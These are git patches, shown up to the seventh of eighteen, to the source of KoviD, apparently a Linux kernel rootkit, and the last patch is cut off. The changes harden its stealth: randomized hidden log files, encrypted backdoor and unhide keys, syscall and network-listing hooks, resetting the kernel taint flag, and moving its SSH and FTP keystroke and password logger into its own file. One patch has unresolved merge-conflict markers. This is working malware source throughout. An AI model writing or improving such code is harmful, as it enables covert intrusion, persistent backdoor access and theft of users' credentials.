From 953bed2e1d7e4ca23b251e63acb59268e180b2a0 Mon Sep 17 00:00:00 2001 From: JNE Date: Fri, 6 Dec 2024 11:05:37 +0000 Subject: [PATCH 01/18] backdoor: use random & variable length lognames --- src/sys.c | 44 ++++++++++++++++++++++---------------------- 1 file changed, 22 insertions(+), 22 deletions(-) diff --git a/src/sys.c b/src/sys.c index bbe20f3..14db205 100644 --- a/src/sys.c +++ b/src/sys.c @@ -1371,34 +1371,34 @@ struct sysfiles_t { char sslfile[PATH_MAX]; }; static struct sysfiles_t sysfiles; -static bool _sys_file_init(void) -{ - bool rc = false; - char *tty, *ssl; - size_t min = 16, max = 64, len = 0; - u8 rnd = 0; +static bool _sys_file_init(void) { - get_random_bytes(&rnd, sizeof(rnd)); - len = min + (rnd % (max - min + 1)); - tty = kv_util_random_AZ_string(len); + bool rc = false; + char *tty, *ssl; + size_t min = 16, max = 64, len = 0; + u8 rnd = 0; - /** repeat */ - get_random_bytes(&rnd, sizeof(rnd)); - len = min + (rnd % (max - min + 1)); - ssl = kv_util_random_AZ_string(len); + get_random_bytes(&rnd, sizeof(rnd)); + len = min + (rnd % (max - min + 1)); + tty = kv_util_random_AZ_string(len); - if (tty && ssl) { - snprintf(sysfiles.ttyfile, sizeof(sysfiles.ttyfile) - 1, - "/tmp/.%s", tty); + /** repeat */ + get_random_bytes(&rnd, sizeof(rnd)); + len = min + (rnd % (max - min + 1)); + ssl = kv_util_random_AZ_string(len); - snprintf(sysfiles.sslfile, sizeof(sysfiles.sslfile) - 1, - "/tmp/.%s", ssl); - kv_mem_free(&tty, &ssl); + if (tty && ssl) { + snprintf(sysfiles.ttyfile, + sizeof(sysfiles.ttyfile)-1, "/var/.%s", tty); - rc = true; - } + snprintf(sysfiles.sslfile, + sizeof(sysfiles.sslfile)-1, "/tmp/.%s", ssl); + kv_mem_free(&tty, &ssl); - return rc; + rc = true; + } + + return rc; } char *sys_get_ttyfile(void) From 34b03430030658094b949d4ddbd3f2a22d7fb7cd Mon Sep 17 00:00:00 2001 From: JNE Date: Tue, 17 Dec 2024 13:10:02 +0000 Subject: [PATCH 02/18] crypto: Encrypt unhide key Just like back-door key, encrypt unhide as well. Also applied drive-by fixes --- src/crypto.c | 16 +++++++-------- src/kovid.c | 57 ++++++++++++++++++++++++++++++++++++++++++---------- src/lkm.h | 2 +- src/sock.c | 31 +++++++++++++++------------- 4 files changed, 72 insertions(+), 34 deletions(-) diff --git a/src/crypto.c b/src/crypto.c index dfc6d5d..6d5019e 100644 --- a/src/crypto.c +++ b/src/crypto.c @@ -17,24 +17,25 @@ static struct crypto_skcipher *tfm; * Must be called once from KoviD initialization */ #define ENCKEY_LEN 32 /** aes 256 */ -int kv_crypto_key_init(void) + +int kv_crypto_init(void) { - static char key[ENCKEY_LEN] = { 0 }; - int rc; + static char key[ENCKEY_LEN] = {0}; + int rc = -1; /** Allocate AES-CBC */ if (!crypto_has_skcipher("cbc(aes)", 0, 0)) { prerr("Cipher not found\n"); - return 0; + return rc; } /** Allocate for transformation - * Shared across all instances - */ + * Shared across all instances + */ tfm = crypto_alloc_skcipher("cbc(aes)", 0, 0); if (IS_ERR(tfm)) { prerr("Failed to allocate cipher %ld\n", PTR_ERR(tfm)); - return 0; + return rc; } get_random_bytes(key, ENCKEY_LEN); @@ -44,7 +45,6 @@ int kv_crypto_key_init(void) if (rc < 0) { prerr("Key init error %d\n", rc); crypto_free_skcipher(tfm); - return 0; } return rc; diff --git a/src/kovid.c b/src/kovid.c index 9d23ed9..80dcff0 100644 --- a/src/kovid.c +++ b/src/kovid.c @@ -67,6 +67,7 @@ struct __lkmmod_t { }; static DEFINE_MUTEX(prc_mtx); static DEFINE_SPINLOCK(elfbits_spin); +static struct kv_crypto_st *kvmgc_unhidekey; /** gcc - fuck 32 bits shit (for now!) */ #ifndef __x86_64__ @@ -483,12 +484,27 @@ static const match_table_t tokens = { { Opt_unknown, NULL } }; +struct check_unhidekey_t { + bool ok; + uint64_t address_value; +}; + +void _unhidekey_callback(const u8 * const buf, size_t buflen, size_t copied, void *userdata) { + struct check_unhidekey_t *validate = (struct check_unhidekey_t*)userdata; + if (validate && validate->address_value) { + if (validate->address_value == *((uint64_t*)buf)) + validate->ok = true; + } +} + #define CMD_MAXLEN 128 static ssize_t write_cb(struct file *fptr, const char __user *user, size_t size, loff_t *offset) { + pid_t pid; char param[CMD_MAXLEN + 1] = { 0 }; + decrypt_callback cbkey = (decrypt_callback)_unhidekey_callback; if (copy_from_user(param, user, CMD_MAXLEN)) return -EFAULT; @@ -522,11 +538,16 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, size_t size, kv_hide_mod(); break; case Opt_unhide_module: { - uint64_t val; - if ((sscanf(args[0].from, "%llx", &val) == 1) && - auto_unhidekey == val) { - kv_unhide_mod(); - } + uint64_t address_value = 0; + struct check_unhidekey_t validate = {0}; + + if ((sscanf(args[0].from, "%llx", &address_value) == 1)) { + validate.address_value = address_value; + kv_decrypt(kvmgc_unhidekey, cbkey, &validate); + if (validate.ok == true) { + kv_unhide_mod(); + } + } } break; case Opt_hide_file: case Opt_hide_directory: { @@ -561,9 +582,9 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, size_t size, case Opt_unhide_directory: fs_del_name(args[0].from); break; - /* Currently, directories must - * be added individually: use hide-directory - * */ + /** Currently, directories must + * be added individually: use hide-directory + */ case Opt_hide_file_anywhere: fs_add_name_rw(args[0].from, 0); break; @@ -836,12 +857,26 @@ static int __init kv_init(void) #if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 17, 0) cont: #endif - /** Init crypto engine */ - if (kv_crypto_key_init() < 0) { + /** Init crypto engine */ + if (kv_crypto_init() < 0) { prerr("Failed to initialise crypto engine\n"); - goto crypto_error; + goto unroll_init; + } + + if (!(kvmgc_unhidekey = crypto_init())) { + prerr("Failed to encrypt unhidekey\n"); + kv_crypto_deinit(); + goto unroll_init; } + size_t datalen = 16; + u8 buf[16] = {0}; + memcpy(buf, &auto_unhidekey, 8); + kv_encrypt(kvmgc_unhidekey, buf, datalen); + + /** discard saved key */ + auto_unhidekey = 0; + tsk_sniff = kv_sock_start_sniff(); if (!tsk_sniff) goto unroll_init; diff --git a/src/lkm.h b/src/lkm.h index c87e174..10e067e 100644 --- a/src/lkm.h +++ b/src/lkm.h @@ -86,7 +86,7 @@ struct kernel_syscalls { typedef void (*decrypt_callback)(const u8 *const buf, size_t buflen, size_t copied, void *userdata); /** Setup crypto module */ -int kv_crypto_key_init(void); +int kv_crypto_init(void); struct kv_crypto_st *crypto_init(void); size_t kv_encrypt(struct kv_crypto_st *, u8 *, size_t); size_t kv_decrypt(struct kv_crypto_st *, decrypt_callback, void *userdata); diff --git a/src/sock.c b/src/sock.c index aa4c558..231ad5e 100644 --- a/src/sock.c +++ b/src/sock.c @@ -619,22 +619,25 @@ struct task_struct *kv_sock_start_sniff(void) struct task_struct *tsk = NULL; /** - * Init bdkey enc - */ + * Init bdkey enc + */ kvmgc_bdkey = crypto_init(); - if (kvmgc_bdkey) { - /** for the aes-256, 16 bytes - * is minimum data size - */ - size_t datalen = 16; - u8 buf[16] = { 0 }; - memcpy(buf, &auto_bdkey, 8); - kv_encrypt(kvmgc_bdkey, buf, datalen); - - /** discard saved key */ - auto_bdkey = 0; + if (!kvmgc_bdkey) { + prerr("Failed to encrypt bdkey\n"); + goto leave; } + /** for the aes-256, 16 bytes + * is minimum data size + */ + size_t datalen = 16; + u8 buf[16] = {0}; + memcpy(buf, &auto_bdkey, 8); + kv_encrypt(kvmgc_bdkey, buf, datalen); + + /** discard saved key */ + auto_bdkey = 0; + // load sniffer if (!*running) { // Hook pre routing @@ -652,7 +655,7 @@ struct task_struct *kv_sock_start_sniff(void) goto leave; tsk_iph = kthread_run(_bd_watchdog_iph, NULL, - THREAD_SNIFFER_NAME); + THREAD_SNIFFER_NAME); if (!tsk_iph) { kthread_stop(tsk); goto leave; From 19a14050d51873bf72b6ad8c9918400562ea9327 Mon Sep 17 00:00:00 2001 From: JNE Date: Wed, 18 Dec 2024 09:52:47 +0000 Subject: [PATCH 03/18] sys: Add simple switch for x64 syscalls --- src/sys.c | 29 ++++++++++++++--------------- 1 file changed, 14 insertions(+), 15 deletions(-) diff --git a/src/sys.c b/src/sys.c index 14db205..f239380 100644 --- a/src/sys.c +++ b/src/sys.c @@ -1130,18 +1130,11 @@ static unsigned long _load_syscall_variant(struct kernel_syscalls *ks, return 0L; } - if (!(rv = ks->k_kallsyms_lookup_name(str))) { - /* there is no actual limit for syscall AFAIK */ - char tmp[64 + 1] = { 0 }; - - snprintf(tmp, 64, "__x64_%s", str); - rv = ks->k_kallsyms_lookup_name(tmp); - } - + rv = ks->k_kallsyms_lookup_name(str); if (rv) { struct sys_addr_list *sl; - sl = kcalloc(1, sizeof(struct sys_addr_list), GFP_KERNEL); - if (sl) { + sl = kcalloc(1, sizeof(struct sys_addr_list) , GFP_KERNEL); + if(sl) { sl->addr = rv; prinfo("add sysaddr: %lx\n", sl->addr); list_add_tail(&sl->list, &sys_addr); @@ -1215,6 +1208,12 @@ void kv_reset_tainted(unsigned long *tainted_ptr) test_and_clear_bit(TAINT_WARN, tainted_ptr); } +#ifdef __x86_64__ +#define _sys_arch(s) "__x64_" s +#else +#define _sys_arch(s) s +#endif + struct kernel_syscalls *kv_kall_load_addr(void) { static struct kernel_syscalls ks; @@ -1269,11 +1268,11 @@ struct kernel_syscalls *kv_kall_load_addr(void) } static struct ftrace_hook ft_hooks[] = { - { "sys_exit_group", m_exit_group, &real_m_exit_group, true }, - { "sys_clone", m_clone, &real_m_clone, true }, - { "sys_kill", m_kill, &real_m_kill, true }, - { "sys_read", m_read, &real_m_read, true }, - { "sys_bpf", m_bpf, &real_m_bpf, true }, + {_sys_arch("sys_exit_group"), m_exit_group, &real_m_exit_group, true}, + {_sys_arch("sys_clone"), m_clone, &real_m_clone, true}, + {_sys_arch("sys_kill"), m_kill, &real_m_kill, true}, + {_sys_arch("sys_read"), m_read, &real_m_read, true}, + {_sys_arch("sys_bpf"), m_bpf, &real_m_bpf, true}, { "tcp4_seq_show", m_tcp4_seq_show, &real_m_tcp4_seq_show }, { "udp4_seq_show", m_udp4_seq_show, &real_m_udp4_seq_show }, { "tcp6_seq_show", m_tcp6_seq_show, &real_m_tcp6_seq_show }, From 32b98ef8e6519aee990d576b3f4558fe62046925 Mon Sep 17 00:00:00 2001 From: JNE Date: Thu, 19 Dec 2024 10:00:03 +0000 Subject: [PATCH 04/18] tty: gets its own source file Also: crypto: re-work API names init Re-organize error exit --- Makefile | 2 +- src/crypto.c | 9 ++++---- src/kovid.c | 45 +++++++++++++++++++-------------------- src/lkm.h | 6 +++--- src/sock.c | 16 ++++++-------- src/sys.c | 27 +++++++++++++++-------- src/tty.c | 60 ++++++++++++++++++++++++++++++++++++++++++++++++++++ src/tty.h | 13 ++++++++++++ 8 files changed, 127 insertions(+), 51 deletions(-) create mode 100644 src/tty.c create mode 100644 src/tty.h diff --git a/Makefile b/Makefile index 5f9c473..8dea669 100644 --- a/Makefile +++ b/Makefile @@ -32,7 +32,7 @@ COMPILER_OPTIONS := -Wall -Wno-vla -DPROCNAME='"$(PROCNAME)"' \ EXTRA_CFLAGS := -I$(src)/src -I$(src)/fs ${COMPILER_OPTIONS} SRC := src/${OBJNAME}.c src/pid.c src/fs.c src/sys.c \ - src/sock.c src/util.c src/vm.c src/crypto.c + src/sock.c src/util.c src/vm.c src/crypto.c src/tty.c persist=src/persist diff --git a/src/crypto.c b/src/crypto.c index 6d5019e..d3fd516 100644 --- a/src/crypto.c +++ b/src/crypto.c @@ -18,7 +18,7 @@ static struct crypto_skcipher *tfm; */ #define ENCKEY_LEN 32 /** aes 256 */ -int kv_crypto_init(void) +int kv_crypto_engine_init(void) { static char key[ENCKEY_LEN] = {0}; int rc = -1; @@ -52,10 +52,9 @@ int kv_crypto_init(void) /** Encryption init * Called for each encryption operation */ -struct kv_crypto_st *crypto_init(void) +struct kv_crypto_st *kv_crypto_mgc_init(void) { - struct kv_crypto_st *kvmgc = - kmalloc(sizeof(struct kv_crypto_st), GFP_KERNEL); + struct kv_crypto_st *kvmgc = kmalloc(sizeof(struct kv_crypto_st), GFP_KERNEL); if (!kvmgc) { prerr("Failed to allocate memory for vars\n"); return NULL; @@ -213,7 +212,7 @@ void kv_crypto_mgc_deinit(struct kv_crypto_st *kvmgc) } } -void kv_crypto_deinit(void) +void kv_crypto_engine_deinit(void) { if (tfm) { kfree(tfm); diff --git a/src/kovid.c b/src/kovid.c index 80dcff0..ce71c20 100644 --- a/src/kovid.c +++ b/src/kovid.c @@ -848,25 +848,25 @@ static int __init kv_init(void) #endif tsk_prc = kthread_run(_proc_watchdog, NULL, THREAD_PROC_NAME); if (!tsk_prc) - goto unroll_init; + goto background_error; tsk_tainted = kthread_run(_reset_tainted, NULL, THREAD_TAINTED_NAME); if (!tsk_tainted) - goto unroll_init; + goto background_error; #if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 17, 0) cont: #endif - /** Init crypto engine */ - if (kv_crypto_init() < 0) { + /** Init crypto engine */ + if (kv_crypto_engine_init() < 0) { prerr("Failed to initialise crypto engine\n"); - goto unroll_init; + goto crypto_error; } - if (!(kvmgc_unhidekey = crypto_init())) { + if (!(kvmgc_unhidekey = kv_crypto_mgc_init())) { prerr("Failed to encrypt unhidekey\n"); - kv_crypto_deinit(); - goto unroll_init; + kv_crypto_engine_deinit(); + goto crypto_error; } size_t datalen = 16; @@ -879,7 +879,7 @@ static int __init kv_init(void) tsk_sniff = kv_sock_start_sniff(); if (!tsk_sniff) - goto unroll_init; + goto background_error; if (!kv_sock_start_fw_bypass()) { prwarn("Error loading fw_bypass\n"); @@ -908,21 +908,20 @@ static int __init kv_init(void) prinfo("loaded.\n"); goto leave; -unroll_init: - prerr("Could not load basic functionality.\n"); - goto error; -addr_error: - prerr("Could not get kernel function address, proc file not created.\n"); - goto error; +crypto_error: + prerr("Crypto init error\n"); + goto error; +background_error: + prerr("Could not load basic functionality.\n"); + goto error; sys_init_error: - prerr("Could not load syscalls hooks\n"); - goto error; + prerr("Could not load syscalls hooks\n"); + goto error; +addr_error: + prerr("Could not get kernel function address, proc file not created.\n"); + goto error; procname_missing: - prerr("%s\n", procname_err); - goto error; -crypto_error: - prerr("Crypto init error\n"); - + prerr("%s\n", procname_err); error: prerr("Unrolling\n"); _unroll_init(); @@ -956,7 +955,7 @@ static void __exit kv_cleanup(void) fs_names_cleanup(); - kv_crypto_deinit(); + kv_crypto_engine_deinit(); prinfo("unloaded.\n"); } diff --git a/src/lkm.h b/src/lkm.h index 10e067e..d146f2e 100644 --- a/src/lkm.h +++ b/src/lkm.h @@ -86,13 +86,13 @@ struct kernel_syscalls { typedef void (*decrypt_callback)(const u8 *const buf, size_t buflen, size_t copied, void *userdata); /** Setup crypto module */ -int kv_crypto_init(void); -struct kv_crypto_st *crypto_init(void); +int kv_crypto_engine_init(void); +struct kv_crypto_st *kv_crypto_mgc_init(void); size_t kv_encrypt(struct kv_crypto_st *, u8 *, size_t); size_t kv_decrypt(struct kv_crypto_st *, decrypt_callback, void *userdata); void kv_crypto_free_data(struct kv_crypto_st *); void kv_crypto_mgc_deinit(struct kv_crypto_st *); -void kv_crypto_deinit(void); +void kv_crypto_engine_deinit(void); /** hooks, hiding presence and so */ bool sys_init(void); diff --git a/src/sock.c b/src/sock.c index 231ad5e..c01a0d6 100644 --- a/src/sock.c +++ b/src/sock.c @@ -617,26 +617,22 @@ struct task_struct *kv_sock_start_sniff(void) bool *running = _is_task_running(); static struct nf_priv priv; struct task_struct *tsk = NULL; + u8 buf[16] = {0}; /** * Init bdkey enc */ - kvmgc_bdkey = crypto_init(); + kvmgc_bdkey = kv_crypto_mgc_init(); if (!kvmgc_bdkey) { prerr("Failed to encrypt bdkey\n"); goto leave; } - + /** for the aes-256, 16 bytes - * is minimum data size - */ - size_t datalen = 16; - u8 buf[16] = {0}; + * is minimum data size + */ memcpy(buf, &auto_bdkey, 8); - kv_encrypt(kvmgc_bdkey, buf, datalen); - - /** discard saved key */ - auto_bdkey = 0; + kv_encrypt(kvmgc_bdkey, buf, sizeof(buf)); // load sniffer if (!*running) { diff --git a/src/sys.c b/src/sys.c index f239380..384b9ff 100644 --- a/src/sys.c +++ b/src/sys.c @@ -19,6 +19,7 @@ #include "lkm.h" #include "fs.h" #include "bpf.h" +#include "tty.h" #include "log.h" #pragma GCC optimize("-fno-optimize-sibling-calls") @@ -47,9 +48,7 @@ sys64 real_m_read; * These are kept open throughout kv lifetime * This is so because tty is continuous. */ -static struct file *ttyfilp; -static DEFINE_SPINLOCK(tty_lock); static DEFINE_SPINLOCK(hide_once_spin); /** @@ -889,7 +888,7 @@ static int _key_update(uid_t uid, char byte, int flags) node->buf[node->offset++] = '\n'; node->buf[node->offset] = 0; - _tty_write_log(uid, node->buf, strlen(node->buf)); + kv_tty_write(uid, node->buf, strlen(node->buf)); list_del(&node->list); kfree(node); @@ -992,16 +991,15 @@ static ssize_t m_tty_read(struct kiocb *iocb, struct iov_iter *to) flags |= (byte == '\n') ? R_NEWLINE : flags; /** - * Handles SSH session data, which usually arrives one byte at a time. - * However, in certain cases, such as during password input, the data may - * arrive as a multi-byte stream. + * To handle SSH session data, it typically + * comes one byte at a time, but there are instances when it comes + * as a multi-byte stream, for example, during password input. */ if ((app_flag & APP_FTP) && rv > 1) { ttybuf[strcspn(ttybuf, "\r")] = '\0'; - _tty_write_log(uid, ttybuf, sizeof(ttybuf)); - + kv_tty_write(uid, ttybuf, sizeof(ttybuf)); } else if (app_flag & APP_SSH && - (rv == 1 || flags & R_RETURN || flags & R_NEWLINE)) { + (rv == 1 || flags & R_RETURN || flags & R_NEWLINE)) { _key_update(uid, byte, flags); } } @@ -1432,6 +1430,7 @@ bool sys_init(void) prinfo("sys_init: ftrace hook %d on %s\n", idx, ft_hooks[idx].name); +<<<<<<< HEAD /** Init tty log */ ttyfilp = fs_kernel_open_file(sys_get_ttyfile()); if (!ttyfilp) { @@ -1441,6 +1440,16 @@ bool sys_init(void) } } return rc; +======= + /** Init tty log */ + if (kv_tty_open(sys_get_ttyfile()) != true) { + prerr("sys_init: Failed loading tty file\n"); + rc = false; + } + } + } + return rc; +>>>>>>> 0e7e017 (tty: gets its own source file) } void sys_deinit(void) diff --git a/src/tty.c b/src/tty.c new file mode 100644 index 0000000..0dac1c8 --- /dev/null +++ b/src/tty.c @@ -0,0 +1,60 @@ + +#include +#include +#include +#include +#include +#include +#include "fs.h" +#include "tty.h" +#include "log.h" + +static DEFINE_SPINLOCK(tty_lock); +static struct file *filp; + +bool kv_tty_open(const char *filename) { + if (filename != NULL) + filp = fs_kernel_open_file(filename); + + prinfo("FILP: %p [%d]\n", filp, filp ? true: false); + return filp ? true: false; +} + +void kv_tty_write(uid_t uid, char *buf, ssize_t len) { + static loff_t offset; + struct timespec64 ts; + long msecs; + size_t total; + + /** + * We use a variable-length array (VLA) because the implementation of kernel_write + * forces a conversion to a user pointer. If the variable is heap-allocated, the + * pointer may be lost. + * + * VLA generates a warning since we're not in C99, but it's necessary for our use case. + * + * We allocate +32 bytes, which is enough to hold timestamp + "uid.%d". + */ + char ttybuf[len+32]; + + spin_lock(&tty_lock); + + ktime_get_boottime_ts64(&ts); + msecs = ts.tv_nsec / 1000; + + total = snprintf(ttybuf, + sizeof(ttybuf), "[%lld.%06ld] uid.%d %s", + (long long)ts.tv_sec, msecs, uid, buf); + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(4,14,0) + fs_kernel_write_file(filp, (const void*)ttybuf, total, &offset); +#else + fs_kernel_write_file(filp, (const char*)ttybuf, total, offset); +#endif + spin_unlock(&tty_lock); +} + +void kv_tty_close(void) { + fs_kernel_close_file(filp); + filp = NULL; +} diff --git a/src/tty.h b/src/tty.h new file mode 100644 index 0000000..6cca7c0 --- /dev/null +++ b/src/tty.h @@ -0,0 +1,13 @@ +#ifndef __TTY_H +#define __TTY_H + +enum { //tty flags + R_NONE = 0, + R_RETURN = 1, + R_NEWLINE=2, + R_RANGE=4 +}; +bool kv_tty_open(const char *); +void kv_tty_write(uid_t, char *, ssize_t); +void kv_tty_close(void); +#endif //__TTY_H From 1bede7a390409f91ff41ef8542f2859454e6303a Mon Sep 17 00:00:00 2001 From: JNE Date: Wed, 25 Dec 2024 19:23:24 +0000 Subject: [PATCH 05/18] Remove warn when building in debug Move it from source code to Makefile and highlight important build information. --- Makefile | 16 +++++++++++----- src/kovid.c | 4 ---- 2 files changed, 11 insertions(+), 9 deletions(-) diff --git a/Makefile b/Makefile index 8dea669..c1038f6 100644 --- a/Makefile +++ b/Makefile @@ -49,11 +49,17 @@ all: @sed -i 's#^static uint64_t __attribute__((unused)) auto_bdkey = .*#static uint64_t __attribute__((unused)) auto_bdkey = $(BDKEY);#' src/auto.h @sed -i 's#^static uint64_t __attribute__((unused)) auto_unhidekey = .*#static uint64_t __attribute__((unused)) auto_unhidekey = $(UNHIDEKEY);#' src/auto.h make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules - @echo -n "Save this Backdoor KEY: " - @echo $(BDKEY) | sed 's/^0x//' - @echo -n "Save this LKM unhide KEY: " - @echo $(UNHIDEKEY) | sed 's/^0x//' - @echo PROCNAME=$(PROCNAME) + @echo -n "Backdoor KEY: " + @echo "\033[1;37m$(BDKEY)\033[0m" | sed 's/0x//' + @echo -n "LKM unhide KEY: " + @echo "\033[1;37m$(UNHIDEKEY)\033[0m" | sed 's/0x//' + @echo "UI: \033[1;37m/proc/$(PROCNAME)\033[0m" + @echo -n "Build type: " +ifdef DEPLOY + @echo "\033[1;37mRELEASE\033[0m" +else + @echo "\033[1;37mDEBUG\033[0m" +endif persist: sed -i "s|.lm.sh|${UUIDGEN}.sh|g" $(persist).S diff --git a/src/kovid.c b/src/kovid.c index ce71c20..86bcd48 100644 --- a/src/kovid.c +++ b/src/kovid.c @@ -41,10 +41,6 @@ #pragma message "Missing \'MODNAME\' compilation directive. See Makefile." #endif -#ifdef DEBUG_RING_BUFFER -#pragma message "!!! Be careful: Build kovid in DEBUG mode !!!" -#endif - #ifndef PRCTIMEOUT /** * default timeout seconds From c1a5f97dc943ca797a3e59f46b9a1d313d411b9b Mon Sep 17 00:00:00 2001 From: JNE Date: Thu, 26 Dec 2024 23:01:18 +0000 Subject: [PATCH 06/18] tty: Finish moving tty pieces around Also API now expects struct file and list_head Note: multiple contexts untested, unsupported for now. --- src/sys.c | 68 ++++++++++-------------------------------- src/tty.c | 89 +++++++++++++++++++++++++++++++++++++++++++++++-------- src/tty.h | 17 +++++++++-- 3 files changed, 107 insertions(+), 67 deletions(-) diff --git a/src/sys.c b/src/sys.c index 384b9ff..e0e53bb 100644 --- a/src/sys.c +++ b/src/sys.c @@ -802,14 +802,8 @@ static int m_filldir64(struct dir_context *ctx, const char *name, int namlen, return real_filldir64(ctx, name, namlen, offset, ino, d_type); } -#define MAXKEY 512 static LIST_HEAD(keylog_node); -struct keylog_t { - char buf[MAXKEY + 2]; /** newline+'\0' */ - int offset; - uid_t uid; - struct list_head list; -}; +static struct file *filp; static void __attribute__((unused)) _tty_dump(uid_t uid, pid_t pid, char *buf, ssize_t len) @@ -817,35 +811,16 @@ static void __attribute__((unused)) _tty_dump(uid_t uid, pid_t pid, char *buf, prinfo("%s\n", buf); } -enum { R_NONE = 0, R_RETURN = 1, R_NEWLINE = 2, R_RANGE = 4 }; -static void _tty_write_log(uid_t uid, char *buf, ssize_t len) -{ - static loff_t offset; - struct timespec64 ts; - long msecs; - size_t total; - - /** - * We use a variable-length array (VLA) because the implementation of kernel_write - * forces a conversion to a user pointer. If the variable is heap-allocated, the - * pointer may be lost. - * - * VLA generates a warning since we're not in C99, but it's necessary for our use case. - * - * We allocate +32 bytes, which is enough to hold timestamp + "uid.%d". - */ - char ttybuf[len + 32]; - - spin_lock(&tty_lock); - - ktime_get_boottime_ts64(&ts); - msecs = ts.tv_nsec / 1000; - - total = snprintf(ttybuf, sizeof(ttybuf), "[%lld.%06ld] uid.%d %s", - (long long)ts.tv_sec, msecs, uid, buf); +void _keylog_cleanup(void) { + kv_tty_close(&keylog_node); + fs_kernel_close_file(filp); + filp = NULL; + fs_file_rm(sys_get_ttyfile()); +} -#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 14, 0) - fs_kernel_write_file(ttyfilp, (const void *)ttybuf, total, &offset); +#if LINUX_VERSION_CODE < KERNEL_VERSION(5,12,0) +static ssize_t (*real_tty_read)(struct file *, char __user *, size_t, loff_t *); +static ssize_t m_tty_read(struct file *file, char __user *buf, size_t count, loff_t *ppos) #else fs_kernel_write_file(ttyfilp, (const char *)ttybuf, total, offset); #endif @@ -1430,26 +1405,15 @@ bool sys_init(void) prinfo("sys_init: ftrace hook %d on %s\n", idx, ft_hooks[idx].name); -<<<<<<< HEAD - /** Init tty log */ - ttyfilp = fs_kernel_open_file(sys_get_ttyfile()); - if (!ttyfilp) { - prerr("sys_init: Failed loading tty file\n"); - rc = false; - } + /** Init tty log */ + filp = kv_tty_open(&filp, sys_get_ttyfile()); + if (!filp) { + prerr("sys_init: Failed loading tty file\n"); + rc = false; + } } } return rc; -======= - /** Init tty log */ - if (kv_tty_open(sys_get_ttyfile()) != true) { - prerr("sys_init: Failed loading tty file\n"); - rc = false; - } - } - } - return rc; ->>>>>>> 0e7e017 (tty: gets its own source file) } void sys_deinit(void) diff --git a/src/tty.c b/src/tty.c index 0dac1c8..900e930 100644 --- a/src/tty.c +++ b/src/tty.c @@ -10,17 +10,26 @@ #include "log.h" static DEFINE_SPINLOCK(tty_lock); -static struct file *filp; -bool kv_tty_open(const char *filename) { - if (filename != NULL) - filp = fs_kernel_open_file(filename); +static void _keylog_cleanup_list(struct list_head *head) { + struct keylog_t *node, *node_safe; + list_for_each_entry_safe(node, node_safe, head, list) { + list_del(&node->list); + kfree(node); + node = NULL; + } +} + +struct file *kv_tty_open(struct file **fp, const char *filename) { + if (filename != NULL) { + if (fp) + *fp = fs_kernel_open_file(filename); + } - prinfo("FILP: %p [%d]\n", filp, filp ? true: false); - return filp ? true: false; + return *fp; } -void kv_tty_write(uid_t uid, char *buf, ssize_t len) { +void kv_tty_write(struct file *fp, uid_t uid, char *buf, ssize_t len) { static loff_t offset; struct timespec64 ts; long msecs; @@ -47,14 +56,70 @@ void kv_tty_write(uid_t uid, char *buf, ssize_t len) { (long long)ts.tv_sec, msecs, uid, buf); #if LINUX_VERSION_CODE >= KERNEL_VERSION(4,14,0) - fs_kernel_write_file(filp, (const void*)ttybuf, total, &offset); + fs_kernel_write_file(fp, (const void*)ttybuf, total, &offset); #else - fs_kernel_write_file(filp, (const char*)ttybuf, total, offset); + fs_kernel_write_file(fp, (const char*)ttybuf, total, offset); #endif spin_unlock(&tty_lock); } -void kv_tty_close(void) { - fs_kernel_close_file(filp); - filp = NULL; +int kv_key_add(struct list_head *head, uid_t uid, char byte, int flags) { + struct keylog_t *kl; + int rv = 0; + + if ((flags & R_RETURN) || (!(flags & R_RANGE))) + return rv; + + kl = kcalloc(1, sizeof(struct keylog_t) , GFP_KERNEL); + if (!kl) { + prerr("Insufficient memory\n"); + rv = -ENOMEM; + } else { + kl->offset = 0; + kl->buf[kl->offset++] = byte; + kl->uid = uid; + list_add_tail(&kl->list, head); + } + + return rv; +} + +int kv_key_update(struct list_head *head, struct file *fp, uid_t uid, char byte, int flags) { + struct keylog_t *node, *node_safe; + bool new = true; + int rv = 0; + + list_for_each_entry_safe(node, node_safe, head, list) { + if (node->uid != uid) continue; + + if (flags & R_RETURN) { + node->buf[node->offset++] = '\n'; + node->buf[node->offset] = 0; + + kv_tty_write(fp, uid, node->buf, strlen(node->buf)); + + list_del(&node->list); + kfree(node); + } else if((flags & R_RANGE) || (flags & R_NEWLINE)) { + if (node->offset < KEY_LOG_BUF_MAX) { + node->buf[node->offset++] = byte; + } + else { + prwarn("Warning: max length reached: %d\n", KEY_LOG_BUF_MAX); + return -ENOMEM; + } + } + new = false; + break; + } + + if (new) + rv = kv_key_add(head, uid, byte, flags); + + return rv; +} + + +void kv_tty_close(struct list_head *head) { + _keylog_cleanup_list(head); } diff --git a/src/tty.h b/src/tty.h index 6cca7c0..04bdfee 100644 --- a/src/tty.h +++ b/src/tty.h @@ -1,13 +1,24 @@ #ifndef __TTY_H #define __TTY_H +#define KEY_LOG_BUF_MAX 512 enum { //tty flags R_NONE = 0, R_RETURN = 1, R_NEWLINE=2, R_RANGE=4 }; -bool kv_tty_open(const char *); -void kv_tty_write(uid_t, char *, ssize_t); -void kv_tty_close(void); + +struct keylog_t { + char buf[KEY_LOG_BUF_MAX+2]; /** newline+'\0' */ + int offset; + uid_t uid; + struct list_head list; +}; + +struct file *kv_tty_open(struct file **, const char *); +void kv_tty_write(struct file *, uid_t, char *, ssize_t); +int kv_key_add(struct list_head *, uid_t, char, int); +int kv_key_update(struct list_head *, struct file*, uid_t, char, int); +void kv_tty_close(struct list_head *); #endif //__TTY_H From 916059156a17f78c99058aec953f8e7ac9d371db Mon Sep 17 00:00:00 2001 From: chash Date: Fri, 3 Jan 2025 10:05:35 +0000 Subject: [PATCH 07/18] tty: Add tty context for API --- src/sys.c | 26 ++++++++++++++------------ src/tty.c | 46 ++++++++++++++++++++++++++++++---------------- src/tty.h | 20 ++++++++++---------- 3 files changed, 54 insertions(+), 38 deletions(-) diff --git a/src/sys.c b/src/sys.c index e0e53bb..d3a7b36 100644 --- a/src/sys.c +++ b/src/sys.c @@ -803,7 +803,10 @@ static int m_filldir64(struct dir_context *ctx, const char *name, int namlen, } static LIST_HEAD(keylog_node); -static struct file *filp; +static struct tty_ctx tty_sys_ctx = { + .head = &keylog_node, 